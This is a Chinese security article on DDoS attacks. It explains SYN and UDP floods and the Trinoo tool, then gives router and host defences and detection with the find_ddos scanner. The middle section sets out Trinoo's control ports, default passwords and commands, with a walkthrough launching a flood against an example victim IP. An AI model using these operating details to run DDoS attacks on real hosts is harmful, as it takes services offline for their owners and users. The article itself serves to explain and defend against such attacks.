黑客实例经验之如何防止ddos攻击
2009-01-05 互联网
进入2000年以来,网络遭受攻击事件不断发生,全球许多著名网站如yahoo、cnn、buy、ebay、fbi,包括中国的新浪网相继遭到不名身份的黑客攻击,值得注意的是,在这些攻击行为中,黑客摈弃了以往常常采用的更改主页这一对网站实际破坏性有限的做法,取而代之的是,在一定时间内,
彻底使被攻击的网络丧失正常服务功能,这种攻击手法为 DDoS,即分布式拒绝服务攻击(Distributed denial of service )。
简单的讲,拒绝服务就是用超出被攻击目标处理能力的海量数据包消耗可用系统,带宽资源,致使网络服务瘫痪的一种攻击手段。在早期, 拒绝服务攻击主要是针对处理能力比较弱的单机,如个人pc,或是窄带宽连接的网站,对拥有高带宽连接,高性能设备的网站影响不大,但在99年底,伴随着DDoS的出现,这种高端网站高枕无忧的局面不复存在,与早期的DoS攻击由单台攻击主机发起,单兵作战相较,DDoS实现是借助数百,甚至数千台被植入攻击守护进程的攻击主机同时发起的集团作战行为,在这种几百,几千对一的较量中, 网络服务提供商所面对的破坏力是空前巨大的。
拒绝服务攻击自问世以来,衍生了多种形式,现将两种使用较频繁的TCP-SYN flood, UDP flood做一个介绍 。TCP-SYN flood又称半开式连接攻击,每当我们进行一次标准的TCP连接(如WWW浏览,下载文件等)会有一个一个三次握手的过程,首先是请求方向服务方发送一个SYN消息,服务方收到SYN后,会向请求方回送一个SYN-ACK表示确认,当请求方收到SYN-ACK后则再次向服务方发送一个ACK消息,一次成功的TCP连接由此就建立,可以进行后续工作了,如图所示:
而TCP-SYN flood在它的实现过程中只有前两个步骤,当服务方收到请求方的SYN并回送SYN-ACK确认消息后, 请求方由于采用源地址欺骗等手段,致使服务方得不到ACK回应,这样,服务方会在一定时间处于等待接收请求方ACK消息的状态,一台服务器可用的TCP连接是有限的,如果恶意攻击方快速连续的发送此类连接请求,则服务器可用TCP连接队列很快将会阻塞,系统可用资源,网络可用带宽急剧下降,无法向用户提供正常的网络服务。
Udp在网络中的应用也是比较广泛的,比如DNS解析、realaudio实时音乐、网络管理、联网游戏等,基于udp的攻击种类也是比较多的,如目前在互连网上提供www、mail等服务的设备一般为使用unix操作系统的服务器,他们默认是开放一些有被恶意利用可能的udp服务的,如:echo,chargen. echo服务回显接收到的每一个数据包,而原本作为测试功能的chargen服务会在收到每一个数据包时随机反馈一些字符,如果恶意攻击者将这两个udp服务互指,则网络可用带宽会很快耗尽。
自99年后半年开始,DDoS攻击不断在Internet出现,并在应用的过程中不断的得到完善,在Unix或nt环境上截至目前已有一系列比较成熟的软件产品,如Trinoo,TFN,TFN2K,STACHELDRATH等,他们基本核心及攻击思路是很相象的,下面就通过Trinoo对这类软件做一介绍。
Trinoo是基于UDP flood的攻击软件,它向被攻击目标主机随机端口发送全零的4字节UDP包,被攻击主机的网络性能在处理这些超出其处理能力垃圾数据包的过程中不断下降,直至不能提供正常服务甚至崩溃。
Trinoo攻击功能的实现,是通过三个模块付诸实施的,
1、攻击守护进程(NS);2、攻击控制进程(MASTER);3、客户端(NETCAT,标准TELNET程序等)。
攻击守护进程NS是真正实施攻击的程序,它一般和攻击控制进程(MASTER)所在主机分离,在原始C文件ns.c编译的时候,需要加入可控制其执行的攻击控制进程MASTER所在主机IP,(只有在ns.c中的IP方可发起ns的攻击行为)编译成功后,黑客通过目前比较成熟的主机系统漏洞破解(如rpc.cmsd,rpc.ttdbserver,rpc.statd)可以方便的将大量NS植入因特网中有上述漏洞主机内。ns运行时,会首先向攻击控制进程(MASTER)所在主机的31335端口发送内容为HELLO的UDP包,标示它自身的存在,随后攻击守护进程即处于对端口27444的侦听状态,等待master攻击指令的 到来。
攻击控制进程(MASTER)在收到攻击守护进程的HELLO包后,会在自己所在目录生成一个加密的名为...的可利用主机表文件, MASTER的启动是需要密码的,在正确输入默认密码gOrave后, MASTER即成功启动,它一方面侦听端口31335,等待攻击守护进程的HELLO包,另一方面侦听端口27665,等待客户端对其的连接。当客户端连接成功并发出指令时, MASTER所在主机将向攻击守护进程ns所在主机的27444端口传递指令。
客户端不是trinoo自带的一部分,可用标准的能提供TCP连接的程序,如TELNET,NETCAT等,连接MASTER所在主机的27665端口, 输入默认密码betaalmostdone后,即完成了连接工作,进入攻击控制可操作的提示状态。
目前版本的trinoo有六个可用命令,mtimer:设定攻击时长,如mtimer 60,攻击60秒,如果不设置的话,默认是无限。dos:对某一目标主机实施攻击,如dos 12.34.45.56 mdie:停止正在实施的攻击,使用这一功能需要输入口令killme,mping:请求攻击守护进程NS回应,监测ns是否工作。mdos, 对多个目标主机实施攻击,msize:设置攻击UDP包的大小。
我们来看一次攻击的实例:
被攻击的目标主机victim IP为:12.23.34.45
ns被植入三台sun的主机里,他们的IP对应关系分别为
client1:11.11.11.11
client2:22.22.22.22
client3:33.33.33.33
master所在主机为masterhost:11.22.33.44
首先我们要启动各个进程,在client1,2,3上分别执行ns,启动攻击守护进程。
其次,在master所在主机启动master
masterhost# ./master
?? gOrave (系统示输入密码,输入gOrave后master成功启动)
trinoo v1.07d2+f3+c [Mar 20 2000:14:38:49] (连接成功)
在任意一台与网络连通的可使用telnet的设备上,执行
telnet 11.22.33.44 27665
Escape character is '^]'.
betaalmostdone (输入密码)
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo> (进入提示符)
trinoo> mping (我们首先来监测一下各个攻击守护进程是否成功启动)
mping: Sending a PING to every Bcasts.
trinoo> PONG 1 Received from 11.11.11.11
PONG 2 Received from 22.22.22.22
PONG 3 Received from 33.33.33.33 (成功响应)
trinoo> mtimer 60 (设定攻击时间为60秒)
mtimer: Setting timer on bcast to 60.
trinoo> dos 12.23.34.45
DoS: Packeting 12.23.34.45......
至此一次攻击结束,此时ping 12.23.34.45,会得到icmp不可到达反馈,目标主机此时与网络的正常连接已被破坏。
由于目前版本的trinoo尚未采用IP地址欺骗,因此在被攻击的主机系统日志里我们可以看到如下纪录:
Mar 20 14:40:34 victim snmpXdmid: Will attempt to re-establish connection.
Mar 20 14:40:35 victim snmpdx: error while receiving a pdu from 11.11.11.11.59841: The
message has a wrong header type (0x0)
Mar 20 14:40:35 victim snmpdx: error while receiving a pdu from 22.22.22.22.43661: The
message has a wrong header type (0x0)
Mar 20 14:40:36 victim snmpdx: error while receiving a pdu from 33.33.33.33.40183: The
message has a wrong header type (0x0)
Mar 20 14:40:36 victim snmpXdmid: Error receiving PDU The message has a wrong header type
(0x0).
Mar 20 14:40:36 victim snmpXdmid: Error receiving packet from agent; rc = -1.
Mar 20 14:40:36 victim snmpXdmid: Will attempt to re-establish connection.
Mar 20 14:40:36 victim snmpXdmid: Error receiving PDU The message has a wrong header type
(0x0).
Mar 20 14:40:36 victim snmpXdmid: Error receiving packet from agent; rc = -1.
由上述日志,我们不难看出发起攻击的ip地址,这一问题,通过ip spoof在后期的软件tfn,tfn2k等软件中得到了解决,给被攻击者找出肇事者进一步增加了难度。
Trinoo等DdoS攻击软件的出现,对网络的安全产生了巨大的挑战,借助这种在网上可以得到的公开软件,任何一个普通的上网者对网络的安全都构成了潜在的威胁,那么能不能做一些预防工作呢?
有一些是可以做的,
首先,检测自己的系统是否被植入了攻击守护程序,最简单的办法,检测上述提到的udp端口,如netstat -a grep udp 端口号,如果得到listen等激活状态,就要注意了,或者用专门的检测软件,这里推荐美国FBI专门研制的Find Distributed Denial of Service (find_ddos) , 最新版本的可检测到tfn2k client, tfn2k daemon, trinoo daemon, trinoo master, tfn daemon, tfn client, stacheldraht master, stacheldraht client, stachelddraht demon和 tfn-rush client等目前几乎所有流行攻击软件。 它的运行很简单,解开包,运行find_ddos即可,下面为在一台可疑设备运行结果
Logging output to: LOG
Scanning running processes...
/proc/795/object/a.out: trinoo daemon
/usr/bin/gcore: core.795 dumped
/proc/800/object/a.out: trinoo master
/usr/bin/gcore: core.800 dumped
Scanning "/tmp"...
Scanning "/"...
/yiming/tfn2k/td: tfn2k daemon
/yiming/tfn2k/tfn: tfn2k client
/yiming/trinoo/daemon/ns: trinoo daemon
/yiming/trinoo/master/master: trinoo master
/yiming/trinoo/master/...: possible IP list file
NOTE: This message is based on the filename being suspicious, and is not
based on an analysis of the file contents. It is up to you to examine the
file and decide whether it is actually an IP list file related to a DDOS
tool.
/yiming/stacheldrahtV4/leaf/td: stacheldraht daemon
/yiming/stacheldrahtV4/telnetc/client: stacheldraht client
/yiming/stacheldrahtV4/td: stacheldraht daemon
/yiming/stacheldrahtV4/client: stacheldraht client
/yiming/stacheldrahtV4/mserv: stacheldraht master
ALERT: One or more DDOS tools were found on your system.
Please examine LOG and take appropriate action.
看来这台设备的攻击守护程序还不少呢,系统管理员要注意啦!
其次,封掉不必要的UDP服务,如echo,chargen,减少udp攻击的入口。
第三,在路由器连接骨干网络的端口结合采用CEF和ip verify unicast reverse-path,挡住一部分ip spoof,syn的攻击。同时使用access control lists将可能被使用的网络保留地址封掉。借助使用CAR技术来限制 ICMP 报文大小。具体使用可查阅cisco网站。
第四,在敏感主机如www服务器使用ip filter软件。
截至目前,实际很彻底的防御手段还没有出现,但采用上述做法可以较大地减小不安全性。
Internet的发展,永远是一场不会停止的网络安全攻与防的较量。